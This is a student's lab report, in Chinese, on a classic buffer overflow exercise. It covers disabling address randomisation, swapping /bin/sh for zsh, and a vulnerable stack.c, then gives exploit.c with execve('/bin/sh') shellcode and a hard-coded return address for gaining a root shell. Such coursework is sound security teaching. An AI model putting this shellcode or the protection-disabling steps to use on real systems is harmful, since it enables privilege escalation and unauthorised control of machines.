20165214 朱文远 缓冲区溢出漏洞实验

一、实验报告封面

课程:信息安全操作系统 班级:1652班 姓名:朱文远 学号:20165214

指导教师:娄嘉鹏 实验序号:一

实验名称: 缓冲区溢出漏洞实验

二、实验内容

任务(一)

  • 先在实验楼中输入命令安装一些用于编译 32 位 C 程序的软件包:
    1、sudo apt-get update

2、sudo apt-get install -y lib32z1 libc6-dev-i386

3、sudo apt-get install -y lib32readline-gplv2-dev

任务(二)

  • Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。(在第三章中已经提及),因此,先使用命令sudo sysctl -w kernel.randomize_va_space=0先关闭该功能。

  • linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。因此,我们使用下列命令:
    sudo su,cd /bin,rm sh,ln -s zsh sh

  • 输入命令“linux32”进入32位linux环境。

任务(三)

  • 在tmp目录下新建stack.c,输入如下代码,并进行编译:
int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

任务(四)

新建一个 exploit.c 文件,输入如下代码并编译:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

任务(五)

通过gdb调试来获得stack中str变量的地址。

将图中红圈地址+100(转化为十六进制是64),将exploit.c文件中的 \x??\x??\x??\x?? 修改为 \x44\xd3\xff\xff,然后对exploit.c进行编译

先运行exploit,再运行stack,获得root权限。

三、总结

通过这次实验,大致了解了缓冲区溢出攻击的基本原理,但是还是一知半解,希望之后能够更好地对这块知识有所了解。

猜你喜欢

转载自www.cnblogs.com/zhuwenyuan/p/9784491.html